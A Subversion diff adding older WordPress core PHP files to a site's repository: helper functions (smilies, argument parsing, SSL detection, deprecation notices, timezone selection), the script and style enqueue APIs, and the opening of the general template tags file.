+		  ':smile:' => 'icon_smile.gif',
+		    ':???:' => 'icon_confused.gif',
+		   ':cool:' => 'icon_cool.gif',
+		   ':evil:' => 'icon_evil.gif',
+		   ':grin:' => 'icon_biggrin.gif',
+		   ':idea:' => 'icon_idea.gif',
+		   ':oops:' => 'icon_redface.gif',
+		   ':razz:' => 'icon_razz.gif',
+		   ':roll:' => 'icon_rolleyes.gif',
+		   ':wink:' => 'icon_wink.gif',
+		    ':cry:' => 'icon_cry.gif',
+		    ':eek:' => 'icon_surprised.gif',
+		    ':lol:' => 'icon_lol.gif',
+		    ':mad:' => 'icon_mad.gif',
+		    ':sad:' => 'icon_sad.gif',
+		      '8-)' => 'icon_cool.gif',
+		      '8-O' => 'icon_eek.gif',
+		      ':-(' => 'icon_sad.gif',
+		      ':-)' => 'icon_smile.gif',
+		      ':-?' => 'icon_confused.gif',
+		      ':-D' => 'icon_biggrin.gif',
+		      ':-P' => 'icon_razz.gif',
+		      ':-o' => 'icon_surprised.gif',
+		      ':-x' => 'icon_mad.gif',
+		      ':-|' => 'icon_neutral.gif',
+		      ';-)' => 'icon_wink.gif',
+		       '8)' => 'icon_cool.gif',
+		       '8O' => 'icon_eek.gif',
+		       ':(' => 'icon_sad.gif',
+		       ':)' => 'icon_smile.gif',
+		       ':?' => 'icon_confused.gif',
+		       ':D' => 'icon_biggrin.gif',
+		       ':P' => 'icon_razz.gif',
+		       ':o' => 'icon_surprised.gif',
+		       ':x' => 'icon_mad.gif',
+		       ':|' => 'icon_neutral.gif',
+		       ';)' => 'icon_wink.gif',
+		      ':!:' => 'icon_exclaim.gif',
+		      ':?:' => 'icon_question.gif',
+		);
+	}
+
+	if (count($wpsmiliestrans) == 0) {
+		return;
+	}
+
+	/*
+	 * NOTE: we sort the smilies in reverse key order. This is to make sure
+	 * we match the longest possible smilie (:???: vs :?) as the regular
+	 * expression used below is first-match
+	 */
+	krsort($wpsmiliestrans);
+
+	$wp_smiliessearch = '/(?:\s|^)';
+
+	$subchar = '';
+	foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
+		$firstchar = substr($smiley, 0, 1);
+		$rest = substr($smiley, 1);
+
+		// new subpattern?
+		if ($firstchar != $subchar) {
+			if ($subchar != '') {
+				$wp_smiliessearch .= ')|(?:\s|^)';
+			}
+			$subchar = $firstchar;
+			$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
+		} else {
+			$wp_smiliessearch .= '|';
+		}
+		$wp_smiliessearch .= preg_quote($rest, '/');
+	}
+
+	$wp_smiliessearch .= ')(?:\s|$)/m';
+}
+
+/**
+ * Merge user defined arguments into defaults array.
+ *
+ * This function is used throughout WordPress to allow for both string or array
+ * to be merged into another array.
+ *
+ * @since 2.2.0
+ *
+ * @param string|array $args Value to merge with $defaults
+ * @param array $defaults Array that serves as the defaults.
+ * @return array Merged user defined values with defaults.
+ */
+function wp_parse_args( $args, $defaults = '' ) {
+	if ( is_object( $args ) )
+		$r = get_object_vars( $args );
+	elseif ( is_array( $args ) )
+		$r =& $args;
+	else
+		wp_parse_str( $args, $r );
+
+	if ( is_array( $defaults ) )
+		return array_merge( $defaults, $r );
+	return $r;
+}
+
+/**
+ * Determines if Widgets library should be loaded.
+ *
+ * Checks to make sure that the widgets library hasn't already been loaded. If
+ * it hasn't, then it will load the widgets library and run an action hook.
+ *
+ * @since 2.2.0
+ * @uses add_action() Calls '_admin_menu' hook with 'wp_widgets_add_menu' value.
+ */
+function wp_maybe_load_widgets() {
+	if ( ! apply_filters('load_default_widgets', true) )
+		return;
+	require_once( ABSPATH . WPINC . '/default-widgets.php' );
+	add_action( '_admin_menu', 'wp_widgets_add_menu' );
+}
+
+/**
+ * Append the Widgets menu to the themes main menu.
+ *
+ * @since 2.2.0
+ * @uses $submenu The administration submenu list.
+ */
+function wp_widgets_add_menu() {
+	global $submenu;
+	$submenu['themes.php'][7] = array( __( 'Widgets' ), 'switch_themes', 'widgets.php' );
+	ksort( $submenu['themes.php'], SORT_NUMERIC );
+}
+
+/**
+ * Flush all output buffers for PHP 5.2.
+ *
+ * Make sure all output buffers are flushed before our singletons our destroyed.
+ *
+ * @since 2.2.0
+ */
+function wp_ob_end_flush_all() {
+	$levels = ob_get_level();
+	for ($i=0; $i<$levels; $i++)
+		ob_end_flush();
+}
+
+/**
+ * Load the correct database class file.
+ *
+ * This function is used to load the database class file either at runtime or by
+ * wp-admin/setup-config.php We must globalise $wpdb to ensure that it is
+ * defined globally by the inline code in wp-db.php.
+ *
+ * @since 2.5.0
+ * @global $wpdb WordPress Database Object
+ */
+function require_wp_db() {
+	global $wpdb;
+	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) )
+		require_once( WP_CONTENT_DIR . '/db.php' );
+	else
+		require_once( ABSPATH . WPINC . '/wp-db.php' );
+}
+
+/**
+ * Load custom DB error or display WordPress DB error.
+ *
+ * If a file exists in the wp-content directory named db-error.php, then it will
+ * be loaded instead of displaying the WordPress DB error. If it is not found,
+ * then the WordPress DB error will be displayed instead.
+ *
+ * The WordPress DB error sets the HTTP status header to 500 to try to prevent
+ * search engines from caching the message. Custom DB messages should do the
+ * same.
+ *
+ * This function was backported to the the WordPress 2.3.2, but originally was
+ * added in WordPress 2.5.0.
+ *
+ * @since 2.3.2
+ * @uses $wpdb
+ */
+function dead_db() {
+	global $wpdb;
+
+	// Load custom DB error template, if present.
+	if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
+		require_once( WP_CONTENT_DIR . '/db-error.php' );
+		die();
+	}
+
+	// If installing or in the admin, provide the verbose message.
+	if ( defined('WP_INSTALLING') || defined('WP_ADMIN') )
+		wp_die($wpdb->error);
+
+	// Otherwise, be terse.
+	status_header( 500 );
+	nocache_headers();
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) ) language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>Database Error</title>
+
+</head>
+<body>
+	<h1>Error establishing a database connection</h1>
+</body>
+</html>
+<?php
+	die();
+}
+
+/**
+ * Converts value to nonnegative integer.
+ *
+ * @since 2.5.0
+ *
+ * @param mixed $maybeint Data you wish to have convered to an nonnegative integer
+ * @return int An nonnegative integer
+ */
+function absint( $maybeint ) {
+	return abs( intval( $maybeint ) );
+}
+
+/**
+ * Determines if the blog can be accessed over SSL.
+ *
+ * Determines if blog can be accessed over SSL by using cURL to access the site
+ * using the https in the siteurl. Requires cURL extension to work correctly.
+ *
+ * @since 2.5.0
+ *
+ * @return bool Whether or not SSL access is available
+ */
+function url_is_accessable_via_ssl($url)
+{
+	if (in_array('curl', get_loaded_extensions())) {
+		$ssl = preg_replace( '/^http:\/\//', 'https://',  $url );
+
+		$ch = curl_init();
+		curl_setopt($ch, CURLOPT_URL, $ssl);
+		curl_setopt($ch, CURLOPT_FAILONERROR, true);
+		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
+		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
+
+		curl_exec($ch);
+
+		$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
+		curl_close ($ch);
+
+		if ($status == 200 || $status == 401) {
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Secure URL, if available or the given URL.
+ *
+ * @since 2.5.0
+ *
+ * @param string $url Complete URL path with transport.
+ * @return string Secure or regular URL path.
+ */
+function atom_service_url_filter($url)
+{
+	if ( url_is_accessable_via_ssl($url) )
+		return preg_replace( '/^http:\/\//', 'https://',  $url );
+	else
+		return $url;
+}
+
+/**
+ * Marks a function as deprecated and informs when it has been used.
+ *
+ * There is a hook deprecated_function_run that will be called that can be used
+ * to get the backtrace up to what file and function called the deprecated
+ * function.
+ *
+ * The current behavior is to trigger an user error if WP_DEBUG is defined and
+ * is true.
+ *
+ * This function is to be used in every function in depreceated.php
+ *
+ * @package WordPress
+ * @package Debug
+ * @since 2.5.0
+ * @access private
+ *
+ * @uses do_action() Calls 'deprecated_function_run' and passes the function name and what to use instead.
+ * @uses apply_filters() Calls 'deprecated_function_trigger_error' and expects boolean value of true to do trigger or false to not trigger error.
+ *
+ * @param string $function The function that was called
+ * @param string $version The version of WordPress that deprecated the function
+ * @param string $replacement Optional. The function that should have been called
+ */
+function _deprecated_function($function, $version, $replacement=null) {
+
+	do_action('deprecated_function_run', $function, $replacement);
+
+	// Allow plugin to filter the output error trigger
+	if( defined('WP_DEBUG') && ( true === WP_DEBUG ) && apply_filters( 'deprecated_function_trigger_error', true )) {
+		if( !is_null($replacement) )
+			trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
+		else
+			trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
+	}
+}
+
+/**
+ * Marks a file as deprecated and informs when it has been used.
+ *
+ * There is a hook deprecated_file_included that will be called that can be used
+ * to get the backtrace up to what file and function included the deprecated
+ * file.
+ *
+ * The current behavior is to trigger an user error if WP_DEBUG is defined and
+ * is true.
+ *
+ * This function is to be used in every file that is depreceated
+ *
+ * @package WordPress
+ * @package Debug
+ * @since 2.5.0
+ * @access private
+ *
+ * @uses do_action() Calls 'deprecated_file_included' and passes the file name and what to use instead.
+ * @uses apply_filters() Calls 'deprecated_file_trigger_error' and expects boolean value of true to do trigger or false to not trigger error.
+ *
+ * @param string $file The file that was included
+ * @param string $version The version of WordPress that deprecated the function
+ * @param string $replacement Optional. The function that should have been called
+ */
+function _deprecated_file($file, $version, $replacement=null) {
+
+	do_action('deprecated_file_included', $file, $replacement);
+
+	// Allow plugin to filter the output error trigger
+	if( defined('WP_DEBUG') && ( true === WP_DEBUG ) && apply_filters( 'deprecated_file_trigger_error', true )) {
+		if( !is_null($replacement) )
+			trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) );
+		else
+			trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) );
+	}
+}
+
+/**
+ * Is the server running earlier than 1.5.0 version of lighttpd
+ *
+ * @since 2.5.0
+ *
+ * @return bool Whether the server is running lighttpd < 1.5.0
+ */
+function is_lighttpd_before_150() {
+	$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
+	$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
+	return  'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
+}
+
+/**
+ * Does the specified module exist in the apache config?
+ *
+ * @since 2.5.0
+ *
+ * @param string $mod e.g. mod_rewrite
+ * @param bool $default The default return value if the module is not found
+ * @return bool
+ */
+function apache_mod_loaded($mod, $default = false) {
+	global $is_apache;
+
+	if ( !$is_apache )
+		return false;
+
+	if ( function_exists('apache_get_modules') ) {
+		$mods = apache_get_modules();
+		if ( in_array($mod, $mods) )
+			return true;
+	} elseif ( function_exists('phpinfo') ) {
+			ob_start();
+			phpinfo(8);
+			$phpinfo = ob_get_clean();
+			if ( false !== strpos($phpinfo, $mod) )
+				return true;
+	}
+	return $default;
+}
+
+/**
+ * File validates against allowed set of defined rules.
+ *
+ * A return value of '1' means that the $file contains either '..' or './'. A
+ * return value of '2' means that the $file contains ':' after the first
+ * character. A return value of '3' means that the file is not in the allowed
+ * files list.
+ *
+ * @since 1.2.0
+ *
+ * @param string $file File path.
+ * @param array $allowed_files List of allowed files.
+ * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
+ */
+function validate_file( $file, $allowed_files = '' ) {
+	if ( false !== strpos( $file, '..' ))
+		return 1;
+
+	if ( false !== strpos( $file, './' ))
+		return 1;
+
+	if (':' == substr( $file, 1, 1 ))
+		return 2;
+
+	if (!empty ( $allowed_files ) && (!in_array( $file, $allowed_files ) ) )
+		return 3;
+
+	return 0;
+}
+
+/**
+ * Determine if SSL is used.
+ *
+ * @since 2.6.0
+ *
+ * @return bool True if SSL, false if not used.
+ */
+function is_ssl() {
+	if ( isset($_SERVER['HTTPS']) ) {
+		if ( 'on' == strtolower($_SERVER['HTTPS']) )
+			return true;
+		if ( '1' == $_SERVER['HTTPS'] )
+			return true;
+	} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Whether SSL login should be forced.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool $force Optional.
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_login($force = '') {
+	static $forced;
+
+	if ( '' != $force ) {
+		$old_forced = $forced;
+		$forced = $force;
+		return $old_forced;
+	}
+
+	return $forced;
+}
+
+/**
+ * Whether to force SSL used for the Administration Panels.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool $force
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_admin($force = '') {
+	static $forced;
+
+	if ( '' != $force ) {
+		$old_forced = $forced;
+		$forced = $force;
+		return $old_forced;
+	}
+
+	return $forced;
+}
+
+/**
+ * Guess the URL for the site.
+ *
+ * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
+ * directory.
+ *
+ * @since 2.6.0
+ *
+ * @return string
+ */
+function wp_guess_url() {
+	if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
+		$url = WP_SITEURL;
+	} else {
+		$schema = ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://';
+		$url = preg_replace('|/wp-admin/.*|i', '', $schema . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
+	}
+	return $url;
+}
+
+/**
+ * Suspend cache invalidation.
+ *
+ * Turns cache invalidation on and off.  Useful during imports where you don't wont to do invalidations
+ * every time a post is inserted.  Callers must be sure that what they are doing won't lead to an inconsistent
+ * cache when invalidation is suspended.
+ *
+ * @since 2.7.0
+ *
+ * @param bool $suspend Whether to suspend or enable cache invalidation
+ * @return bool The current suspend setting
+ */
+function wp_suspend_cache_invalidation($suspend = true) {
+	global $_wp_suspend_cache_invalidation;
+
+	$current_suspend = $_wp_suspend_cache_invalidation;
+	$_wp_suspend_cache_invalidation = $suspend;
+	return $current_suspend;
+}
+
+function get_site_option( $key, $default = false, $use_cache = true ) {
+	return get_option($key, $default);
+}
+
+// expects $key, $value not to be SQL escaped
+function add_site_option( $key, $value ) {
+	return add_option($key, $value);
+}
+
+// expects $key, $value not to be SQL escaped
+function update_site_option( $key, $value ) {
+	return update_option($key, $value);
+}
+
+/**
+ * gmt_offset modification for smart timezone handling
+ *
+ * Overrides the gmt_offset option if we have a timezone_string available
+ */
+function wp_timezone_override_offset() {
+	if ( !wp_timezone_supported() ) {
+		return false;
+	}
+	if ( !$timezone_string = get_option( 'timezone_string' ) ) {
+		return false;
+	}
+
+	@date_default_timezone_set( $timezone_string );
+	$timezone_object = timezone_open( $timezone_string );
+	$datetime_object = date_create();
+	if ( false === $timezone_object || false === $datetime_object ) {
+		return false;
+	}
+	return round( timezone_offset_get( $timezone_object, $datetime_object ) / 3600, 2 );
+}
+
+/**
+ * Check for PHP timezone support
+ */
+function wp_timezone_supported() {
+	$support = false;
+	if (
+		function_exists( 'date_default_timezone_set' ) &&
+		function_exists( 'timezone_identifiers_list' ) &&
+		function_exists( 'timezone_open' ) &&
+		function_exists( 'timezone_offset_get' )
+	) {
+		$support = true;
+	}
+	return apply_filters( 'timezone_support', $support );
+}
+
+function _wp_timezone_choice_usort_callback( $a, $b ) {
+	// Don't use translated versions of Etc
+	if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
+		// Make the order of these more like the old dropdown
+		if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+			return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
+		}
+		if ( 'UTC' === $a['city'] ) {
+			if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
+				return 1;
+			}
+			return -1;
+		}
+		if ( 'UTC' === $b['city'] ) {
+			if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
+				return -1;
+			}
+			return 1;
+		}
+		return strnatcasecmp( $a['city'], $b['city'] );
+	}
+	if ( $a['t_continent'] == $b['t_continent'] ) {
+		if ( $a['t_city'] == $b['t_city'] ) {
+			return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
+		}
+		return strnatcasecmp( $a['t_city'], $b['t_city'] );
+	} else {
+		// Force Etc to the bottom of the list
+		if ( 'Etc' === $a['continent'] ) {
+			return 1;
+		}
+		if ( 'Etc' === $b['continent'] ) {
+			return -1;
+		}
+		return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
+	}
+}
+
+/**
+ * Gives a nicely formatted list of timezone strings // temporary! Not in final
+ *
+ * @param $selected_zone string Selected Zone
+ *
+ */
+function wp_timezone_choice( $selected_zone ) {
+	static $mo_loaded = false;
+
+	$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific', 'Etc' );
+
+	// Load translations for continents and cities
+	if ( !$mo_loaded ) {
+		$locale = get_locale();
+		$mofile = WP_LANG_DIR . '/continents-cities-' . $locale . '.mo';
+		load_textdomain( 'continents-cities', $mofile );
+		$mo_loaded = true;
+	}
+
+	$zonen = array();
+	foreach ( timezone_identifiers_list() as $zone ) {
+		$zone = explode( '/', $zone );
+		if ( !in_array( $zone[0], $continents ) ) {
+			continue;
+		}
+		if ( 'Etc' === $zone[0] && in_array( $zone[1], array( 'UCT', 'GMT', 'GMT0', 'GMT+0', 'GMT-0', 'Greenwich', 'Universal', 'Zulu' ) ) ) {
+			continue;
+		}
+
+		// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
+		$exists = array(
+			0 => ( isset( $zone[0] ) && $zone[0] ) ? true : false,
+			1 => ( isset( $zone[1] ) && $zone[1] ) ? true : false,
+			2 => ( isset( $zone[2] ) && $zone[2] ) ? true : false
+		);
+		$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ) ? true : false;
+		$exists[4] = ( $exists[1] && $exists[3] ) ? true : false;
+		$exists[5] = ( $exists[2] && $exists[3] ) ? true : false;
+
+		$zonen[] = array(
+			'continent'   => ( $exists[0] ? $zone[0] : '' ),
+			'city'        => ( $exists[1] ? $zone[1] : '' ),
+			'subcity'     => ( $exists[2] ? $zone[2] : '' ),
+			't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
+			't_city'      => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
+			't_subcity'   => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
+		);
+	}
+	usort( $zonen, '_wp_timezone_choice_usort_callback' );
+
+	$structure = array();
+
+	if ( empty( $selected_zone ) ) {
+		$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
+	}
+
+	foreach ( $zonen as $key => $zone ) {
+		// Build value in an array to join later
+		$value = array( $zone['continent'] );
+
+		if ( empty( $zone['city'] ) ) {
+			// It's at the continent level (generally won't happen)
+			$display = $zone['t_continent'];
+		} else {
+			// It's inside a continent group
+			
+			// Continent optgroup
+			if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
+				$label = ( 'Etc' === $zone['continent'] ) ? __( 'Manual offsets' ) : $zone['t_continent'];
+				$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
+			}
+			
+			// Add the city to the value
+			$value[] = $zone['city'];
+			if ( 'Etc' === $zone['continent'] ) {
+				if ( 'UTC' === $zone['city'] ) {
+					$display = '';
+				} else {
+					$display = str_replace( 'GMT', '', $zone['city'] );
+					$display = strtr( $display, '+-', '-+' ) . ':00';
+				}
+				$display = sprintf( __( 'UTC %s' ), $display );
+			} else {
+				$display = $zone['t_city'];
+				if ( !empty( $zone['subcity'] ) ) {
+					// Add the subcity to the value
+					$value[] = $zone['subcity'];
+					$display .= ' - ' . $zone['t_subcity'];
+				}
+			}
+		}
+
+		// Build the value
+		$value = join( '/', $value );
+		$selected = '';
+		if ( $value === $selected_zone ) {
+			$selected = 'selected="selected" ';
+		}
+		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
+		
+		// Close continent optgroup
+		if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
+			$structure[] = '</optgroup>';
+		}
+	}
+
+	return join( "\n", $structure );
+}
+
+
+
+/**
+ * Strip close comment and close php tags from file headers used by WP
+ * See http://core.trac.wordpress.org/ticket/8497
+ *
+ * @since 2.8
+**/
+function _cleanup_header_comment($str) {
+	return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/functions.wp-scripts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/functions.wp-scripts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/functions.wp-scripts.php	(revision 44)
@@ -0,0 +1,128 @@
+<?php
+/**
+ * BackPress script procedural API.
+ *
+ * @package BackPress
+ * @since r16
+ */
+
+/**
+ * Prints script tags in document head.
+ *
+ * Called by admin-header.php and by wp_head hook. Since it is called by wp_head
+ * on every page load, the function does not instantiate the WP_Scripts object
+ * unless script names are explicitly passed. Does make use of already
+ * instantiated $wp_scripts if present. Use provided wp_print_scripts hook to
+ * register/enqueue new scripts.
+ *
+ * @since r16
+ * @see WP_Dependencies::print_scripts()
+ */
+function wp_print_scripts( $handles = false ) {
+	do_action( 'wp_print_scripts' );
+	if ( '' === $handles ) // for wp_head
+		$handles = false;
+
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') ) {
+		if ( !$handles )
+			return array(); // No need to instantiate if nothing's there.
+		else
+			$wp_scripts = new WP_Scripts();
+	}
+
+	return $wp_scripts->do_items( $handles );
+}
+
+/**
+ * Register new JavaScript file.
+ *
+ * @since r16
+ * @see WP_Dependencies::add() For parameter information.
+ */
+function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) {
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	$wp_scripts->add( $handle, $src, $deps, $ver );
+	if ( $in_footer )
+		$wp_scripts->add_data( $handle, 'group', 1 );
+}
+
+/**
+ * Localizes a script.
+ *
+ * Localizes only if script has already been added.
+ *
+ * @since r16
+ * @see WP_Script::localize()
+ */
+function wp_localize_script( $handle, $object_name, $l10n ) {
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		return false;
+
+	return $wp_scripts->localize( $handle, $object_name, $l10n );
+}
+
+/**
+ * Remove a registered script.
+ *
+ * @since r16
+ * @see WP_Scripts::remove() For parameter information.
+ */
+function wp_deregister_script( $handle ) {
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	$wp_scripts->remove( $handle );
+}
+
+/**
+ * Enqueues script.
+ *
+ * Registers the script if src provided (does NOT overwrite) and enqueues.
+ *
+ * @since r16
+ * @see WP_Script::add(), WP_Script::enqueue()
+*/
+function wp_enqueue_script( $handle, $src = false, $deps = array(), $ver = false, $in_footer = false ) {
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	if ( $src ) {
+		$_handle = explode('?', $handle);
+		$wp_scripts->add( $_handle[0], $src, $deps, $ver );
+		if ( $in_footer )
+			$wp_scripts->add_data( $_handle[0], 'group', 1 );
+	}
+	$wp_scripts->enqueue( $handle );
+}
+
+/**
+ * Check whether script has been added to WordPress Scripts.
+ *
+ * The values for list defaults to 'queue', which is the same as enqueue for
+ * scripts.
+ *
+ * @since WP unknown; BP unknown
+ *
+ * @param string $handle Handle used to add script.
+ * @param string $list Optional, defaults to 'queue'. Others values are 'registered', 'queue', 'done', 'to_do'
+ * @return bool
+ */
+function wp_script_is( $handle, $list = 'queue' ) {
+	global $wp_scripts;
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	$query = $wp_scripts->query( $handle, $list );
+
+	if ( is_object( $query ) )
+		return true;
+
+	return $query;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/functions.wp-styles.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/functions.wp-styles.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/functions.wp-styles.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+/**
+ * BackPress styles procedural API.
+ *
+ * @package BackPress
+ * @since r79
+ */
+
+/**
+ * Display styles that are in the queue or part of $handles.
+ *
+ * @since r79
+ * @uses do_action() Calls 'wp_print_styles' hook.
+ * @global object $wp_styles The WP_Styles object for printing styles.
+ *
+ * @param array $handles (optional) Styles to be printed.  (void) prints queue, (string) prints that style, (array of strings) prints those styles.
+ * @return bool True on success, false on failure.
+ */
+function wp_print_styles( $handles = false ) {
+	do_action( 'wp_print_styles' );
+	if ( '' === $handles ) // for wp_head
+		$handles = false;
+
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') ) {
+		if ( !$handles )
+			return array(); // No need to instantiate if nothing's there.
+		else
+			$wp_styles = new WP_Styles();
+	}
+
+	return $wp_styles->do_items( $handles );
+}
+
+/**
+ * Register CSS style file.
+ *
+ * @since r79
+ * @see WP_Styles::add() For parameter and additional information.
+ */
+function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	$wp_styles->add( $handle, $src, $deps, $ver, $media );
+}
+
+/**
+ * Remove a registered CSS file.
+ *
+ * @since r79
+ * @see WP_Styles::remove() For parameter and additional information.
+ */
+function wp_deregister_style( $handle ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	$wp_styles->remove( $handle );
+}
+
+/**
+ * Enqueue a CSS style file.
+ *
+ * @since r79
+ * @see WP_Styles::add(), WP_Styles::enqueue()
+ */
+function wp_enqueue_style( $handle, $src = false, $deps = array(), $ver = false, $media = false ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	if ( $src ) {
+		$_handle = explode('?', $handle);
+		$wp_styles->add( $_handle[0], $src, $deps, $ver, $media );
+	}
+	$wp_styles->enqueue( $handle );
+}
+
+/**
+ * Check whether style has been added to WordPress Styles.
+ *
+ * The values for list defaults to 'queue', which is the same as enqueue for
+ * styles.
+ *
+ * @since WP unknown; BP unknown
+ *
+ * @param string $handle Handle used to add style.
+ * @param string $list Optional, defaults to 'queue'. Others values are 'registered', 'queue', 'done', 'to_do'
+ * @return bool
+ */
+function wp_style_is( $handle, $list = 'queue' ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	$query = $wp_styles->query( $handle, $list );
+
+	if ( is_object( $query ) )
+		return true;
+
+	return $query;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/general-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/general-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/general-template.php	(revision 44)
@@ -0,0 +1,2048 @@
+<?php
+/**
+ * General template tags that can go anywhere in a template.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Load header template.
+ *
+ * Includes the header template for a theme or if a name is specified then a
+ * specialised header will be included. If the theme contains no header.php file
+ * then the header from the default theme will be included.
+ *
+ * For the parameter, if the file is called "header-special.php" then specify
+ * "special".
+ *
+ * @uses locate_template()
+ * @since 1.5.0
+ * @uses do_action() Calls 'get_header' action.
+ *
+ * @param string $name The name of the specialised header.
+ */
+function get_header( $name = null ) {
+	do_action( 'get_header', $name );
+
+	$templates = array();
+	if ( isset($name) )
+		$templates[] = "header-{$name}.php";
+
+	$templates[] = "header.php";
+
+	if ('' == locate_template($templates, true))
+		load_template( get_theme_root() . '/default/header.php');
+}
+
+/**
+ * Load footer template.
+ *
+ * Includes the footer template for a theme or if a name is specified then a
+ * specialised footer will be included. If the theme contains no footer.php file
+ * then the footer from the default theme will be included.
+ *
+ * For the parameter, if the file is called "footer-special.php" then specify
+ * "special".
+ *
+ * @uses locate_template()
+ * @since 1.5.0
+ * @uses do_action() Calls 'get_footer' action.
+ *
+ * @param string $name The name of the specialised footer.
+ */
+function get_footer( $name = null ) {
+	do_action( 'get_footer', $name );
+
+	$templates = array();
+	if ( isset($name) )
+		$templates[] = "footer-{$name}.php";
+
+	$templates[] = "footer.php";
+
+	if ('' == locate_template($templates, true))
+		load_template( get_theme_root() . '/default/footer.php');
+}
+
+/**
+ * Load sidebar template.
+ *
+ * Includes the sidebar template for a theme or if a name is specified then a
+ * specialised sidebar will be included. If the theme contains no sidebar.php
+ * file then the sidebar from the default theme will be included.
+ *
+ * For the parameter, if the file is called "sidebar-special.php" then specify
+ * "special".
+ *
+ * @uses locate_template()
